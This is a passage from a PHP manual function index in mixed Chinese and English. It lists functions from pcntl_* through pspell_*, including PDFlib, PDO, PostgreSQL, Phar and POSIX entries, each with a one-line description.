    • pcntl_wifsignaled - 检查子进程状态码是否代表由于某个信号而中断
    • pcntl_wifstopped - 检查子进程当前是否已经停止
    • pcntl_wstopsig - 返回导致子进程停止的信号
    • pcntl_wtermsig - 返回导致子进程中断的信号
    • PDF_activate_item - Activate structure element or other content item
    • PDF_add_annotation - Add annotation [deprecated]
    • PDF_add_bookmark - Add bookmark for current page [deprecated]
    • PDF_add_launchlink - Add launch annotation for current page [deprecated]
    • PDF_add_locallink - Add link annotation for current page [deprecated]
    • PDF_add_nameddest - Create named destination
    • PDF_add_note - Set annotation for current page [deprecated]
    • PDF_add_outline - Add bookmark for current page [deprecated]
    • PDF_add_pdflink - Add file link annotation for current page [deprecated]
    • PDF_add_table_cell - Add a cell to a new or existing table
    • PDF_add_textflow - Create Textflow or add text to existing Textflow
    • PDF_add_thumbnail - Add thumbnail for current page
    • PDF_add_weblink - Add weblink for current page [deprecated]
    • PDF_arc - Draw a counterclockwise circular arc segment
    • PDF_arcn - Draw a clockwise circular arc segment
    • PDF_attach_file - Add file attachment for current page [deprecated]
    • PDF_begin_document - Create new PDF file
    • PDF_begin_font - Start a Type 3 font definition
    • PDF_begin_glyph - Start glyph definition for Type 3 font
    • PDF_begin_item - Open structure element or other content item
    • PDF_begin_layer - Start layer
    • PDF_begin_page - Start new page [deprecated]
    • PDF_begin_page_ext - Start new page
    • PDF_begin_pattern - Start pattern definition
    • PDF_begin_template - Start template definition [deprecated]
    • PDF_begin_template_ext - Start template definition
    • PDF_circle - Draw a circle
    • PDF_clip - Clip to current path
    • PDF_close - Close pdf resource [deprecated]
    • PDF_closepath - Close current path
    • PDF_closepath_fill_stroke - Close, fill and stroke current path
    • PDF_closepath_stroke - Close and stroke path
    • PDF_close_image - Close image
    • PDF_close_pdi - Close the input PDF document [deprecated]
    • PDF_close_pdi_page - Close the page handle
    • PDF_concat - Concatenate a matrix to the CTM
    • PDF_continue_text - Output text in next line
    • PDF_create_3dview - Create 3D view
    • PDF_create_action - Create action for objects or events
    • PDF_create_annotation - Create rectangular annotation
    • PDF_create_bookmark - Create bookmark
    • PDF_create_field - Create form field
    • PDF_create_fieldgroup - Create form field group
    • PDF_create_gstate - Create graphics state object
    • PDF_create_pvf - Create PDFlib virtual file
    • PDF_create_textflow - Create textflow object
    • PDF_curveto - Draw Bezier curve
    • PDF_define_layer - Create layer definition
    • PDF_delete - Delete PDFlib object
    • PDF_delete_pvf - Delete PDFlib virtual file
    • PDF_delete_table - Delete table object
    • PDF_delete_textflow - Delete textflow object
    • PDF_encoding_set_char - Add glyph name and/or Unicode value
    • PDF_endpath - End current path
    • PDF_end_document - 关闭 PDF 文件
    • PDF_end_font - Terminate Type 3 font definition
    • PDF_end_glyph - Terminate glyph definition for Type 3 font
    • PDF_end_item - Close structure element or other content item
    • PDF_end_layer - Deactivate all active layers
    • PDF_end_page - Finish page
    • PDF_end_page_ext - Finish page
    • PDF_end_pattern - Finish pattern
    • PDF_end_template - Finish template
    • PDF_fill - Fill current path
    • PDF_fill_imageblock - Fill image block with variable data
    • PDF_fill_pdfblock - Fill PDF block with variable data
    • PDF_fill_stroke - Fill and stroke path
    • PDF_fill_textblock - Fill text block with variable data
    • PDF_findfont - Prepare font for later use [deprecated]
    • PDF_fit_image - Place image or template
    • PDF_fit_pdi_page - Place imported PDF page
    • PDF_fit_table - Place table on page
    • PDF_fit_textflow - Format textflow in rectangular area
    • PDF_fit_textline - Place single line of text
    • PDF_get_apiname - Get name of unsuccessfull API function
    • PDF_get_buffer - Get PDF output buffer
    • PDF_get_errmsg - Get error text
    • PDF_get_errnum - Get error number
    • PDF_get_font - Get font [deprecated]
    • PDF_get_fontname - Get font name [deprecated]
    • PDF_get_fontsize - Font handling [deprecated]
    • PDF_get_image_height - Get image height [deprecated]
    • PDF_get_image_width - Get image width [deprecated]
    • PDF_get_majorversion - Get major version number [deprecated]
    • PDF_get_minorversion - Get minor version number [deprecated]
    • PDF_get_parameter - Get string parameter
    • PDF_get_pdi_parameter - Get PDI string parameter [deprecated]
    • PDF_get_pdi_value - Get PDI numerical parameter [deprecated]
    • PDF_get_value - Get numerical parameter
    • PDF_info_font - Query detailed information about a loaded font
    • PDF_info_matchbox - Query matchbox information
    • PDF_info_table - Retrieve table information
    • PDF_info_textflow - Query textflow state
    • PDF_info_textline - Perform textline formatting and query metrics
    • PDF_initgraphics - Reset graphic state
    • PDF_lineto - Draw a line
    • PDF_load_3ddata - Load 3D model
    • PDF_load_font - Search and prepare font
    • PDF_load_iccprofile - Search and prepare ICC profile
    • PDF_load_image - 打开一个图像文件
    • PDF_makespotcolor - Make spot color
    • PDF_moveto - Set current point
    • PDF_new - Create PDFlib object
    • PDF_open_ccitt - Open raw CCITT image [deprecated]
    • PDF_open_file - Create PDF file [deprecated]
    • PDF_open_gif - Open GIF image [deprecated]
    • PDF_open_image - Use image data [deprecated]
    • PDF_open_image_file - Read image from file [deprecated]
    • PDF_open_jpeg - Open JPEG image [deprecated]
    • PDF_open_memory_image - Open image created with PHP's image functions [not supported]
    • PDF_open_pdi - Open PDF file [deprecated]
    • PDF_open_pdi_document - Prepare a pdi document
    • PDF_open_pdi_page - Prepare a page
    • PDF_open_tiff - Open TIFF image [deprecated]
    • PDF_pcos_get_number - Get value of pCOS path with type number or boolean
    • PDF_pcos_get_stream - Get contents of pCOS path with type stream, fstream, or string
    • PDF_pcos_get_string - Get value of pCOS path with type name, string, or boolean
    • PDF_place_image - Place image on the page [deprecated]
    • PDF_place_pdi_page - Place PDF page [deprecated]
    • PDF_process_pdi - Process imported PDF document
    • PDF_rect - Draw rectangle
    • PDF_restore - Restore graphics state
    • PDF_resume_page - Resume page
    • PDF_rotate - Rotate coordinate system
    • PDF_save - Save graphics state
    • PDF_scale - Scale coordinate system
    • PDF_setcolor - Set fill and stroke color
    • PDF_setdash - Set simple dash pattern
    • PDF_setdashpattern - Set dash pattern
    • PDF_setflat - Set flatness
    • PDF_setfont - Set font
    • PDF_setgray - Set color to gray [deprecated]
    • PDF_setgray_fill - Set fill color to gray [deprecated]
    • PDF_setgray_stroke - Set stroke color to gray [deprecated]
    • PDF_setlinecap - Set linecap parameter
    • PDF_setlinejoin - Set linejoin parameter
    • PDF_setlinewidth - Set line width
    • PDF_setmatrix - Set current transformation matrix
    • PDF_setmiterlimit - Set miter limit
    • PDF_setpolydash - Set complicated dash pattern [deprecated]
    • PDF_setrgbcolor - Set fill and stroke rgb color values [deprecated]
    • PDF_setrgbcolor_fill - Set fill rgb color values [deprecated]
    • PDF_setrgbcolor_stroke - Set stroke rgb color values [deprecated]
    • PDF_set_border_color - Set border color of annotations [deprecated]
    • PDF_set_border_dash - Set border dash style of annotations [deprecated]
    • PDF_set_border_style - Set border style of annotations [deprecated]
    • PDF_set_char_spacing - Set character spacing [deprecated]
    • PDF_set_duration - Set duration between pages [deprecated]
    • PDF_set_gstate - Activate graphics state object
    • PDF_set_horiz_scaling - Set horizontal text scaling [deprecated]
    • PDF_set_info - Fill document info field
    • PDF_set_info_author - Fill the author document info field [deprecated]
    • PDF_set_info_creator - Fill the creator document info field [deprecated]
    • PDF_set_info_keywords - Fill the keywords document info field [deprecated]
    • PDF_set_info_subject - Fill the subject document info field [deprecated]
    • PDF_set_info_title - Fill the title document info field [deprecated]
    • PDF_set_layer_dependency - Define relationships among layers
    • PDF_set_leading - Set distance between text lines [deprecated]
    • PDF_set_parameter - Set string parameter
    • PDF_set_text_matrix - Set text matrix [deprecated]
    • PDF_set_text_pos - Set text position
    • PDF_set_text_rendering - Determine text rendering [deprecated]
    • PDF_set_text_rise - Set text rise [deprecated]
    • PDF_set_value - Set numerical parameter
    • PDF_set_word_spacing - Set spacing between words [deprecated]
    • PDF_shading - Define blend
    • PDF_shading_pattern - Define shading pattern
    • PDF_shfill - Fill area with shading
    • PDF_show - Output text at current position
    • PDF_show_boxed - Output text in a box [deprecated]
    • PDF_show_xy - Output text at given position
    • PDF_skew - Skew the coordinate system
    • PDF_stringwidth - Return width of text
    • PDF_stroke - Stroke path
    • PDF_suspend_page - Suspend page
    • PDF_translate - Set origin of coordinate system
    • PDF_utf8_to_utf16 - Convert string from UTF-8 to UTF-16
    • PDF_utf16_to_utf8 - Convert string from UTF-16 to UTF-8
    • PDF_utf32_to_utf16 - Convert string from UTF-32 to UTF-16
    • PDO::beginTransaction - 启动一个事务
    • PDO::commit - 提交一个事务
    • PDO::cubrid_schema - Get the requested schema information
    • PDO::errorCode - 获取跟数据库句柄上一次操作相关的 SQLSTATE
    • PDO::errorInfo - Fetch extended error information associated with the last operation on the database handle
    • PDO::exec - 执行一条 SQL 语句，并返回受影响的行数
    • PDO::getAttribute - 取回一个数据库连接的属性
    • PDO::getAvailableDrivers - 返回一个可用驱动的数组
    • PDO::inTransaction - 检查是否在一个事务内
    • PDO::lastInsertId - 返回最后插入行的ID或序列值
    • PDO::pgsqlCopyFromArray - Copy data from PHP array into table
    • PDO::pgsqlCopyFromFile - Copy data from file into table
    • PDO::pgsqlCopyToArray - Copy data from database table into PHP array
    • PDO::pgsqlCopyToFile - Copy data from table into file
    • PDO::pgsqlGetNotify - Get asynchronous notification
    • PDO::pgsqlGetPid - Get the server PID
    • PDO::pgsqlLOBCreate - Creates a new large object
    • PDO::pgsqlLOBOpen - Opens an existing large object stream
    • PDO::pgsqlLOBUnlink - Deletes the large object
    • PDO::prepare - 准备要执行的语句，并返回语句对象
    • PDO::query - 执行 SQL 语句，以 PDOStatement 对象形式返回结果集
    • PDO::quote - 为 SQL 查询里的字符串添加引号
    • PDO::rollBack - 回滚一个事务
    • PDO::setAttribute - 设置属性
    • PDO::sqliteCreateAggregate - Registers an aggregating User Defined Function for use in SQL statements
    • PDO::sqliteCreateCollation - Registers a User Defined Function for use as a collating function in SQL statements
    • PDO::sqliteCreateFunction - Registers a User Defined Function for use in SQL statements
    • PDO::__construct - 创建一个表示数据库连接的 PDO 实例
    • PDOStatement::bindColumn - 绑定一列到一个 PHP 变量
    • PDOStatement::bindParam - 绑定一个参数到指定的变量名
    • PDOStatement::bindValue - 把一个值绑定到一个参数
    • PDOStatement::closeCursor - 关闭游标，使语句能再次被执行。
    • PDOStatement::columnCount - 返回结果集中的列数
    • PDOStatement::debugDumpParams - 打印一条 SQL 预处理命令
    • PDOStatement::errorCode - 获取跟上一次语句句柄操作相关的 SQLSTATE
    • PDOStatement::errorInfo - 获取跟上一次语句句柄操作相关的扩展错误信息
    • PDOStatement::execute - 执行一条预处理语句
    • PDOStatement::fetch - 从结果集中获取下一行
    • PDOStatement::fetchAll - 返回一个包含结果集中所有行的数组
    • PDOStatement::fetchColumn - 从结果集中的下一行返回单独的一列。
    • PDOStatement::fetchObject - 获取下一行并作为一个对象返回。
    • PDOStatement::getAttribute - 检索一个语句属性
    • PDOStatement::getColumnMeta - 返回结果集中一列的元数据
    • PDOStatement::nextRowset - 在一个多行集语句句柄中推进到下一个行集
    • PDOStatement::rowCount - 返回受上一个 SQL 语句影响的行数
    • PDOStatement::setAttribute - 设置一个语句属性
    • PDOStatement::setFetchMode - 为语句设置默认的获取模式。
    • PDO_4D DSN - Connecting to 4D SQL server
    • PDO_CUBRID DSN - Connecting to CUBRID databases
    • PDO_DBLIB DSN - Connecting to Microsoft SQL Server and Sybase databases
    • PDO_FIREBIRD DSN - Connecting to Firebird databases
    • PDO_IBM DSN - Connecting to IBM databases
    • PDO_INFORMIX DSN - Connecting to Informix databases
    • PDO_MYSQL DSN - Connecting to MySQL databases
    • PDO_OCI DSN - Connecting to Oracle databases
    • PDO_ODBC DSN - Connecting to ODBC or DB2 databases
    • PDO_PGSQL DSN - Connecting to PostgreSQL databases
    • PDO_SQLITE DSN - Connecting to SQLite databases
    • PDO_SQLSRV DSN - Connecting to MS SQL Server and SQL Azure databases
    • pfsockopen - 打开一个持久的网络连接或者Unix套接字连接。
    • pg_affected_rows - 返回受影响的记录数目
    • pg_cancel_query - 取消异步查询
    • pg_client_encoding - 取得客户端编码方式
    • pg_close - 关闭一个 PostgreSQL 连接
    • pg_connect - 打开一个 PostgreSQL 连接
    • pg_connection_busy - 获知连接是否为忙
    • pg_connection_reset - 重置连接（再次连接）
    • pg_connection_status - 获得连接状态
    • pg_connect_poll - 正在进行尝试轮询 PostgreSQL 链接状态。
    • pg_consume_input - Reads input on the connection
    • pg_convert - 将关联的数组值转换为适合 SQL 语句的格式。
    • pg_copy_from - 根据数组将记录插入表中
    • pg_copy_to - 将一个表拷贝到数组中
    • pg_dbname - 获得数据库名
    • pg_delete - 删除记录
    • pg_end_copy - 与 PostgreSQL 后端同步
    • pg_escape_bytea - 转义 bytea 类型的二进制数据
    • pg_escape_identifier - Escape a identifier for insertion into a text field
    • pg_escape_literal - Escape a literal for insertion into a text field
    • pg_escape_string - 转义 text/char 类型的字符串
    • pg_execute - Sends a request to execute a prepared statement with given parameters, and waits for the result
    • pg_fetch_all - 从结果中提取所有行作为一个数组
    • pg_fetch_all_columns - Fetches all rows in a particular result column as an array
    • pg_fetch_array - 提取一行作为数组
    • pg_fetch_assoc - 提取一行作为关联数组
    • pg_fetch_object - 提取一行作为对象
    • pg_fetch_result - 从结果资源中返回值
    • pg_fetch_row - 提取一行作为枚举数组
    • pg_field_is_null - 测试字段是否为 NULL
    • pg_field_name - 返回字段的名字
    • pg_field_num - 返回字段的编号
    • pg_field_prtlen - 返回打印出来的长度
    • pg_field_size - 返回指定字段占用内部存储空间的大小
    • pg_field_table - Returns the name or oid of the tables field
    • pg_field_type - 返回相应字段的类型名称
    • pg_field_type_oid - Returns the type ID (OID) for the corresponding field number
    • pg_flush - 刷新链接中已处理的数据查询
    • pg_free_result - 释放查询结果占用的内存
    • pg_get_notify - Ping 数据库连接
    • pg_get_pid - Ping 数据库连接
    • pg_get_result - 取得异步查询结果
    • pg_host - 返回和某连接关联的主机名
    • pg_insert - 将数组插入到表中
    • pg_last_error - 得到某连接的最后一条错误信息
    • pg_last_notice - 返回 PostgreSQL 服务器最新一条公告信息
    • pg_last_oid - 返回上一个对象的 oid
    • pg_lo_close - 关闭一个大型对象
    • pg_lo_create - 新建一个大型对象
    • pg_lo_export - 将大型对象导出到文件
    • pg_lo_import - 将文件导入为大型对象
    • pg_lo_open - 打开一个大型对象
    • pg_lo_read - 从大型对象中读入数据
    • pg_lo_read_all - 读入整个大型对象并直接发送给浏览器
    • pg_lo_seek - 移动大型对象中的指针
    • pg_lo_tell - 返回大型对象的当前指针位置
    • pg_lo_truncate - Truncates a large object
    • pg_lo_unlink - 删除一个大型对象
    • pg_lo_write - 向大型对象写入数据
    • pg_meta_data - 获得表的元数据
    • pg_num_fields - 返回字段的数目
    • pg_num_rows - 返回行的数目
    • pg_options - 获得和连接有关的选项
    • pg_parameter_status - Looks up a current parameter setting of the server
    • pg_pconnect - 打开一个持久的 PostgreSQL 连接
    • pg_ping - Ping 数据库连接
    • pg_port - 返回该连接的端口号
    • pg_prepare - Submits a request to create a prepared statement with the given parameters, and waits for completion
    • pg_put_line - 向 PostgreSQL 后端发送以 NULL 结尾的字符串
    • pg_query - 执行查询
    • pg_query_params - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text
    • pg_result_error - 获得查询结果的错误信息
    • pg_result_error_field - Returns an individual field of an error report
    • pg_result_seek - 在结果资源中设定内部行偏移量
    • pg_result_status - 获得查询结果的状态
    • pg_select - 选择记录
    • pg_send_execute - Sends a request to execute a prepared statement with given parameters, without waiting for the result(s)
    • pg_send_prepare - Sends a request to create a prepared statement with the given parameters, without waiting for completion
    • pg_send_query - 发送异步查询
    • pg_send_query_params - Submits a command and separate parameters to the server without waiting for the result(s)
    • pg_set_client_encoding - 设定客户端编码
    • pg_set_error_verbosity - Determines the verbosity of messages returned by pg_last_error and pg_result_error
    • pg_socket - Get a read only handle to the socket underlying a PostgreSQL connection
    • pg_trace - 启动一个 PostgreSQL 连接的追踪功能
    • pg_transaction_status - Returns the current in-transaction status of the server
    • pg_tty - 返回该连接的 tty 号
    • pg_unescape_bytea - 取消 bytea 类型中的字符串转义
    • pg_untrace - 关闭 PostgreSQL 连接的追踪功能
    • pg_update - 更新表
    • pg_version - Returns an array with client, protocol and server version (when available)
    • phar:// - PHP 归档
    • Phar::addEmptyDir - 添加一个空目录到 phar 档案
    • Phar::addFile - 将一个文件从文件系统添加到 phar 档案中
    • Phar::addFromString - 以字符串的形式添加一个文件到 phar 档案
    • Phar::apiVersion - Returns the api version
    • Phar::buildFromDirectory - Construct a phar archive from the files within a directory
    • Phar::buildFromIterator - Construct a phar archive from an iterator
    • Phar::canCompress - Returns whether phar extension supports compression using either zlib or bzip2
    • Phar::canWrite - Returns whether phar extension supports writing and creating phars
    • Phar::compress - Compresses the entire Phar archive using Gzip or Bzip2 compression
    • Phar::compressAllFilesBZIP2 - Compresses all files in the current Phar archive using Bzip2 compression
    • Phar::compressAllFilesGZ - Compresses all files in the current Phar archive using Gzip compression
    • Phar::compressFiles - Compresses all files in the current Phar archive
    • Phar::convertToData - Convert a phar archive to a non-executable tar or zip file
    • Phar::convertToExecutable - Convert a phar archive to another executable phar archive file format
    • Phar::copy - Copy a file internal to the phar archive to another new file within the phar
    • Phar::count - Returns the number of entries (files) in the Phar archive
    • Phar::createDefaultStub - Create a phar-file format specific stub
    • Phar::decompress - Decompresses the entire Phar archive
    • Phar::decompressFiles - Decompresses all files in the current Phar archive
    • Phar::delete - 删除 phar 档案中的一个文件
    • Phar::delMetadata - Deletes the global metadata of the phar
    • Phar::extractTo - Extract the contents of a phar archive to a directory
    • Phar::getAlias - Get the alias for Phar
    • Phar::getMetadata - Returns phar archive meta-data
    • Phar::getModified - Return whether phar was modified
    • Phar::getPath - Get the real path to the Phar archive on disk
    • Phar::getSignature - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
    • Phar::getStub - Return the PHP loader or bootstrap stub of a Phar archive
    • Phar::getSupportedCompression - Return array of supported compression algorithms
    • Phar::getSupportedSignatures - Return array of supported signature types
    • Phar::getVersion - Return version info of Phar archive
    • Phar::hasMetadata - Returns whether phar has global meta-data
    • Phar::interceptFileFuncs - Instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions
    • Phar::isBuffering - Used to determine whether Phar write operations are being buffered, or are flushing directly to disk
    • Phar::isCompressed - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
    • Phar::isFileFormat - Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter
    • Phar::isValidPharFilename - Returns whether the given filename is a valid phar filename
    • Phar::isWritable - Returns true if the phar archive can be modified
    • Phar::loadPhar - Loads any phar archive with an alias
    • Phar::mapPhar - Reads the currently executed file (a phar) and registers its manifest
    • Phar::mount - Mount an external path or file to a virtual location within the phar archive
    • Phar::mungServer - Defines a list of up to 4 $_SERVER variables that should be modified for execution
    • Phar::offsetExists - Determines whether a file exists in the phar
    • Phar::offsetGet - Gets a PharFileInfo object for a specific file
    • Phar::offsetSet - Set the contents of an internal file to those of an external file
    • Phar::offsetUnset - Remove a file from a phar
    • Phar::running - Returns the full path on disk or full phar URL to the currently executing Phar archive
    • Phar::setAlias - Set the alias for the Phar archive
    • Phar::setDefaultStub - Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader
    • Phar::setMetadata - Sets phar archive meta-data
    • Phar::setSignatureAlgorithm - Set the signature algorithm for a phar and apply it
    • Phar::setStub - Used to set the PHP loader or bootstrap stub of a Phar archive
    • Phar::startBuffering - Start buffering Phar write operations, do not modify the Phar object on disk
    • Phar::stopBuffering - Stop buffering write requests to the Phar archive, and save changes to disk
    • Phar::uncompressAllFiles - Uncompresses all files in the current Phar archive
    • Phar::unlinkArchive - Completely remove a phar archive from disk and from memory
    • Phar::webPhar - mapPhar for web-based phars. front controller for web applications
    • Phar::__construct - Construct a Phar archive object
    • PharData::addEmptyDir - Add an empty directory to the tar/zip archive
    • PharData::addFile - Add a file from the filesystem to the tar/zip archive
    • PharData::addFromString - Add a file from the filesystem to the tar/zip archive
    • PharData::buildFromDirectory - Construct a tar/zip archive from the files within a directory
    • PharData::buildFromIterator - Construct a tar or zip archive from an iterator
    • PharData::compress - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
    • PharData::compressFiles - Compresses all files in the current tar/zip archive
    • PharData::convertToData - Convert a phar archive to a non-executable tar or zip file
    • PharData::convertToExecutable - Convert a non-executable tar/zip archive to an executable phar archive
    • PharData::copy - Copy a file internal to the phar archive to another new file within the phar
    • PharData::decompress - Decompresses the entire Phar archive
    • PharData::decompressFiles - Decompresses all files in the current zip archive
    • PharData::delete - Delete a file within a tar/zip archive
    • PharData::delMetadata - Deletes the global metadata of a zip archive
    • PharData::extractTo - Extract the contents of a tar/zip archive to a directory
    • PharData::isWritable - Returns true if the tar/zip archive can be modified
    • PharData::offsetSet - Set the contents of a file within the tar/zip to those of an external file or string
    • PharData::offsetUnset - Remove a file from a tar/zip archive
    • PharData::setAlias - Dummy function (Phar::setAlias is not valid for PharData)
    • PharData::setDefaultStub - Dummy function (Phar::setDefaultStub is not valid for PharData)
    • PharData::setStub - Dummy function (Phar::setStub is not valid for PharData)
    • PharData::__construct - Construct a non-executable tar or zip archive object
    • PharFileInfo::chmod - Sets file-specific permission bits
    • PharFileInfo::compress - Compresses the current Phar entry with either zlib or bzip2 compression
    • PharFileInfo::decompress - Decompresses the current Phar entry within the phar
    • PharFileInfo::delMetadata - Deletes the metadata of the entry
    • PharFileInfo::getCompressedSize - Returns the actual size of the file (with compression) inside the Phar archive
    • PharFileInfo::getContent - Get the complete file contents of the entry
    • PharFileInfo::getCRC32 - Returns CRC32 code or throws an exception if CRC has not been verified
    • PharFileInfo::getMetadata - Returns file-specific meta-data saved with a file
    • PharFileInfo::getPharFlags - Returns the Phar file entry flags
    • PharFileInfo::hasMetadata - Returns the metadata of the entry
    • PharFileInfo::isCompressed - Returns whether the entry is compressed
    • PharFileInfo::isCompressedBZIP2 - Returns whether the entry is compressed using bzip2
    • PharFileInfo::isCompressedGZ - Returns whether the entry is compressed using gz
    • PharFileInfo::isCRCChecked - Returns whether file entry has had its CRC verified
    • PharFileInfo::setCompressedBZIP2 - Compresses the current Phar entry within the phar using Bzip2 compression
    • PharFileInfo::setCompressedGZ - Compresses the current Phar entry within the phar using gz compression
    • PharFileInfo::setMetadata - Sets file-specific meta-data saved with a file
    • PharFileInfo::setUncompressed - Uncompresses the current Phar entry within the phar, if it is compressed
    • PharFileInfo::__construct - Construct a Phar entry object
    • Phar 上下文（context）选项 - Phar 上下文（context）选项列表
    • phdfs::connect - Description
    • phdfs::copy - Description
    • phdfs::create_directory - Description
    • phdfs::delete - Description
    • phdfs::disconnect - Description
    • phdfs::exists - Description
    • phdfs::file_info - Description
    • phdfs::list_directory - Description
    • phdfs::read - Description
    • phdfs::rename - Description
    • phdfs::tell - Description
    • phdfs::write - Description
    • phdfs::__construct - Description
    • phdfs::__destruct - Description
    • php:// - 访问各个输入/输出流（I/O streams）
    • phpcredits - 打印 PHP 贡献者名单
    • phpdbg_break_file - Inserts a breakpoint at a line in a file
    • phpdbg_break_function - Inserts a breakpoint at entry to a function
    • phpdbg_break_method - Inserts a breakpoint at entry to a method
    • phpdbg_break_next - Inserts a breakpoint at the next opcode
    • phpdbg_clear - Clears all breakpoints
    • phpdbg_color - Sets the color of certain elements
    • phpdbg_end_oplog - 说明
    • phpdbg_exec - Attempts to set the execution context
    • phpdbg_get_executable - 说明
    • phpdbg_prompt - Sets the command prompt
    • phpdbg_start_oplog - 说明
    • phpinfo - 输出关于 PHP 配置的信息
    • phpversion - 获取当前的PHP版本
    • php_check_syntax - 检查PHP的语法（并执行）指定的文件
    • php_ini_loaded_file - 取得已加载的 php.ini 文件的路径
    • php_ini_scanned_files - 返回从额外 ini 目录里解析的 .ini 文件列表
    • php_logo_guid - 获取 logo 的 guid
    • php_sapi_name - 返回 web 服务器和 PHP 之间的接口类型
    • php_strip_whitespace - 返回删除注释和空格后的PHP源码
    • php_uname - 返回运行 PHP 的系统的有关信息
    • php_user_filter::filter - Called when applying the filter
    • php_user_filter::onClose - Called when closing the filter
    • php_user_filter::onCreate - Called when creating the filter
    • pht\AtomicInteger::dec - Decrements the atomic integer's value by one
    • pht\AtomicInteger::get - Gets the atomic integer's value
    • pht\AtomicInteger::inc - Increments the atomic integer's value by one
    • pht\AtomicInteger::lock - Acquires the atomic integer's mutex lock
    • pht\AtomicInteger::set - Sets the atomic integer's value
    • pht\AtomicInteger::unlock - Releases the atomic integer's mutex lock
    • pht\AtomicInteger::__construct - AtomicInteger creation
    • pht\HashTable::lock - Acquires the hash table's mutex lock
    • pht\HashTable::size - Gets the size of the hash table
    • pht\HashTable::unlock - Releases the hash table's mutex lock
    • pht\Queue::front - Returns the first value from a queue
    • pht\Queue::lock - Acquires the queue's mutex lock
    • pht\Queue::pop - Pops a value off of the front of a queue
    • pht\Queue::push - Pushes a value to the end of a queue
    • pht\Queue::size - Gets the size of the queue
    • pht\Queue::unlock - Releases the queue's mutex lock
    • pht\Runnable::run - The entry point of a threaded class
    • pht\Thread::addClassTask - Class threading
    • pht\Thread::addFileTask - File threading
    • pht\Thread::addFunctionTask - Function threading
    • pht\Thread::join - Joins a thread
    • pht\Thread::start - Starts the new thread
    • pht\Thread::taskCount - Gets a thread's task count
    • pht\Threaded::lock - Acquires the mutex lock
    • pht\Threaded::unlock - Releases the mutex lock
    • pht\Vector::deleteAt - Deletes a value in the vector
    • pht\Vector::insertAt - Inserts a value into the vector
    • pht\Vector::lock - Acquires the vector's mutex lock
    • pht\Vector::pop - Pops a value to the vector
    • pht\Vector::push - Pushes a value to the vector
    • pht\Vector::resize - Resizes a vector
    • pht\Vector::shift - Shifts a value from the vector
    • pht\Vector::size - Gets the size of the vector
    • pht\Vector::unlock - Releases the vector's mutex lock
    • pht\Vector::unshift - Unshifts a value to the vector front
    • pht\Vector::updateAt - Updates a value in the vector
    • pht\Vector::__construct - Vector creation
    • pi - 得到圆周率值
    • png2wbmp - 将 PNG 图像文件转换为 WBMP 图像文件
    • Pool::collect - 回收已完成任务的引用
    • Pool::resize - 改变 Pool 对象的可容纳 Worker 对象的数量
    • Pool::shutdown - 停止所有的 Worker 对象
    • Pool::submit - 提交对象以执行
    • Pool::submitTo - 提交一个任务到特定的 Worker 以执行
    • Pool::__construct - 创建新的 Worker 对象池
    • popen - 打开进程文件指针
    • pos - current 的别名
    • posix_access - Determine accessibility of a file
    • posix_ctermid - Get path name of controlling terminal
    • posix_errno - 别名 posix_get_last_error
    • posix_getcwd - Pathname of current directory
    • posix_getegid - Return the effective group ID of the current process
    • posix_geteuid - Return the effective user ID of the current process
    • posix_getgid - Return the real group ID of the current process
    • posix_getgrgid - Return info about a group by group id
    • posix_getgrnam - Return info about a group by name
    • posix_getgroups - Return the group set of the current process
    • posix_getlogin - Return login name
    • posix_getpgid - Get process group id for job control
    • posix_getpgrp - Return the current process group identifier
    • posix_getpid - 返回当前进程 id
    • posix_getppid - Return the parent process identifier
    • posix_getpwnam - Return info about a user by username
    • posix_getpwuid - Return info about a user by user id
    • posix_getrlimit - Return info about system resource limits
    • posix_getsid - Get the current sid of the process
    • posix_getuid - Return the real user ID of the current process
    • posix_get_last_error - Retrieve the error number set by the last posix function that failed
    • posix_initgroups - Calculate the group access list
    • posix_isatty - Determine if a file descriptor is an interactive terminal
    • posix_kill - Send a signal to a process
    • posix_mkfifo - Create a fifo special file (a named pipe)
    • posix_mknod - Create a special or ordinary file (POSIX.1)
    • posix_setegid - Set the effective GID of the current process
    • posix_seteuid - Set the effective UID of the current process
    • posix_setgid - Set the GID of the current process
    • posix_setpgid - Set process group id for job control
    • posix_setrlimit - Set system resource limits
    • posix_setsid - Make the current process a session leader
    • posix_setuid - Set the UID of the current process
    • posix_strerror - Retrieve the system error message associated with the given errno
    • posix_times - Get process times
    • posix_ttyname - Determine terminal device name
    • posix_uname - Get system name
    • pow - 指数表达式
    • preg_filter - 执行一个正则表达式搜索和替换
    • preg_grep - 返回匹配模式的数组条目
    • preg_last_error - 返回最后一个PCRE正则执行产生的错误代码
    • preg_match - 执行匹配正则表达式
    • preg_match_all - 执行一个全局正则表达式匹配
    • preg_quote - 转义正则表达式字符
    • preg_replace - 执行一个正则表达式的搜索和替换
    • preg_replace_callback - 执行一个正则表达式搜索并且使用一个回调进行替换
    • preg_replace_callback_array - Perform a regular expression search and replace using callbacks
    • preg_split - 通过一个正则表达式分隔字符串
    • prev - 将数组的内部指针倒回一位
    • print - 输出字符串
    • printf - 输出格式化字符串
    • print_r - 以易于理解的格式打印变量。
    • proc_close - 关闭由 proc_open 打开的进程并且返回进程退出码
    • proc_get_status - 获取由 proc_open 函数打开的进程的信息
    • proc_nice - 修改当前进程的优先级
    • proc_open - 执行一个命令，并且打开用来输入/输出的文件指针。
    • proc_terminate - 杀除由 proc_open 打开的进程
    • property_exists - 检查对象或类是否具有该属性
    • pspell_add_to_personal - Add the word to a personal wordlist
    • pspell_add_to_session - Add the word to the wordlist in the current session
    • pspell_check - Check a word
    • pspell_clear_session - Clear the current session
    • pspell_config_create - Create a config used to open a dictionary
    • pspell_config_data_dir - Location of language data files
    • pspell_config_dict_dir - Location of the main word list
    • pspell_config_ignore - Ignore words less than N characters long
    • pspell_config_mode - Change the mode number of suggestions returned
    • pspell_config_personal - Set a file that contains personal wordlist
    • pspell_config_repl - Set a file that contains replacement pairs
    • pspell_config_runtogether - Consider run-together words as valid compounds
    • pspell_config_save_repl - Determine whether to save a replacement pairs list along with the wordlist
    • pspell_new - Load a new dictionary
    • pspell_new_config - Load a new dictionary with settings based on a given config
    • pspell_new_personal - Load a new dictionary with personal wordlist
    • pspell_save_wordlist - Save the personal wordlist to a file
